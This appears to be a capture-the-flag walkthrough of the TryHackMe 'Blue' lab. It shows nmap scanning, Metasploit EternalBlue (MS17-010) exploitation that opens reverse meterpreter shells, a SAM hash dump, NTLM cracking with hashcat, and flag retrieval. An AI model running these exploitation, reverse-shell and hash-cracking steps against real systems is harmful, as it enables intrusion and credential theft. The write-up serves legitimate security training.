

Blue

Scanning and Enumeration

```
(moghees@kali)-[~/Desktop/CTF/TryHackMe/Blue]
$ cat nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-10 11:56 PKT
Nmap scan report for 10.10.51.97
Host is up (0.18s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE          VERSION
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds     Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2024-01-09T06:55:56
|_ Not valid after: 2024-07-10T06:55:56
|_ ssl-date: 2024-01-10T06:59:08+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: JON-PC
|   NetBIOS_Domain_Name: JON-PC
|   NetBIOS_Computer_Name: JON-PC
|   DNS_Domain_Name: Jon-PC
|   DNS_Computer_Name: Jon-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2024-01-10T06:59:02+00:00
```

```
49153/tcp open  msrpc            Microsoft Windows RPC
49154/tcp open  msrpc            Microsoft Windows RPC
49158/tcp open  msrpc            Microsoft Windows RPC
49159/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 1h12m00s, deviation: 2h41m00s, median: 0s
| smb2-time:
|   date: 2024-01-10T06:59:02
|_  start_date: 2024-01-10T06:55:54
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-01-10T00:59:02-06:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.1.0:
|_   Message signing enabled but not required
|_ nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:41:93:94:a2:b7 (unknown)
```

windows 7 professional 7601 service pack 1 microsoft-ds exploit



All

Videos

Books

Images

More

Tools

About 25,300 results (0.43 seconds)



Rapid7

<https://www.rapid7.com> › modules › exploit › ms17_...

MS17-010 EternalBlue SMB Remote Windows Kernel Pool ...

30-May-2018 — This **exploit**, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will ...

Foothold

```
msf6 > search ms17-010
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example `info 4`, use `4` or use `exploit/windows/smb/smb_doublepulsar_rce`

```
msf6 > use 0
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.51.97
```

```
RHOSTS => 10.10.51.97
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

```
[*] Started reverse TCP handler on 10.8.153.207:4444
[*] 10.10.51.97:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.51.97:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.51.97:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.51.97:445 - The target is vulnerable.
[*] 10.10.51.97:445 - Connecting to target for exploitation.
[+] 10.10.51.97:445 - Connection established for exploitation.
[+] 10.10.51.97:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.51.97:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.51.97:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.51.97:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.51.97:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.51.97:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.51.97:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.51.97:445 - Sending all but last fragment of exploit packet
[*] 10.10.51.97:445 - Starting non-paged pool grooming
[+] 10.10.51.97:445 - Sending SMBv2 buffers
[+] 10.10.51.97:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.51.97:445 - Sending final SMBv2 buffers.
[*] 10.10.51.97:445 - Sending last fragment of exploit packet!
[*] 10.10.51.97:445 - Receiving response from exploit packet
[+] 10.10.51.97:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.51.97:445 - Sending egg to corrupted connection.
[*] 10.10.51.97:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.51.97
[*] Meterpreter session 1 opened (10.8.153.207:4444 -> 10.10.51.97:49185) at 2024-01-10 12:07:30 +0500
[+] 10.10.51.97:445 - =====
[+] 10.10.51.97:445 - =====WIN=====
[+] 10.10.51.97:445 - =====
```

```
meterpreter > █
```

Privilege Escalation

Ran the old exploit again so session id maybe different here.

```
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 3
SESSION => 3
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.8.153.207:4433
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (200774 bytes) to 10.10.51.97
[*] Sending stage (200774 bytes) to 10.10.51.97
[*] Sending stage (200774 bytes) to 10.10.51.97
[*] Meterpreter session 6 opened (10.8.153.207:4433 → 10.10.51.97:49219) at 2024-01-10 12:36:11 +0500
[*] Meterpreter session 7 opened (10.8.153.207:4433 → 10.10.51.97:49218) at 2024-01-10 12:36:12 +0500
[*] Stopping exploit/multi/handler
[*] Meterpreter session 8 opened (10.8.153.207:4433 → 10.10.51.97:49228) at 2024-01-10 12:36:14 +0500
```

```
sessions -l
```

```
Active sessions
```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
3		shell x64/windows	Shell Banner: Microsoft Windows [Version 6.1.7601] _____	10.8.153.207:4444 → 10.10.51.97:49223 (10.10.51.97)
6		meterpreter x64/windows	NT AUTHORITY\SYSTEM @ JON-PC	10.8.153.207:4433 → 10.10.51.97:49219 (10.10.51.97)

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 6
```

```
[*] Starting interaction with 6...
```

```
meterpreter > shell
```

```
Process 1268 created.
```

```
Channel 1 created.
```

```
Microsoft Windows [Version 6.1.7601]
```

```
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami
```

```
whoami
```

```
nt authority\system
```

```
meterpreter > hashdump
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

```
meterpreter > █
```

```
(moghees@kali)-[~/Desktop/CTF/TryHackMe/Blue]
$ hashcat -m 1000 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
```

John

```
ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1000 (NTLM)
Hash.Target.....: ffb43f0de35be4d9917ac0cc8ad57f8d
Time.Started.....: Wed Jan 10 12:47:49 2024 (3 secs)
Time.Estimated...: Wed Jan 10 12:47:52 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 3088.2 kH/s (0.15ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 10201088/14344385 (71.12%)
Rejected.....: 0/10201088 (0.00%)
Restore.Point....: 10199040/14344385 (71.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: alsinah → alphasarto11
Hardware.Mon.#1..: Temp: 49c Util: 50%
```

Administrator

```
31d6cfe0d16ae931b73c59d7e0c089c0:

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1000 (NTLM)
Hash.Target.....: 31d6cfe0d16ae931b73c59d7e0c089c0
Time.Started.....: Wed Jan 10 12:50:36 2024 (0 secs)
Time.Estimated...: Wed Jan 10 12:50:36 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1758.2 kH/s (0.20ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 6144/14344385 (0.04%)
Rejected.....: 0/6144 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: newzealand → iheartyou
Hardware.Mon.#1..: Temp: 44c Util: 35%
```


Flags

Lets save time.

```
C:\Windows\system32>dir /s /b C:\flag*.txt
dir /s /b C:\flag*.txt
C:\flag1.txt
C:\Users\Jon\Documents\flag3.txt
C:\Windows\System32\config\flag2.txt
```

```
C:\Windows\system32>type C:\flag1.txt
type C:\flag1.txt
flag{access_the_machine}
C:\Windows\system32>type C:\Windows\System32\config\flag2.txt
type C:\Windows\System32\config\flag2.txt
flag{sam_database_elevated_access}
C:\Windows\system32>
```

```
C:\Windows\system32>
C:\Windows\system32>type C:\Users\Jon\Documents\flag3.txt
type C:\Users\Jon\Documents\flag3.txt
flag{admin_documents_can_be_valuable}
C:\Windows\system32>
```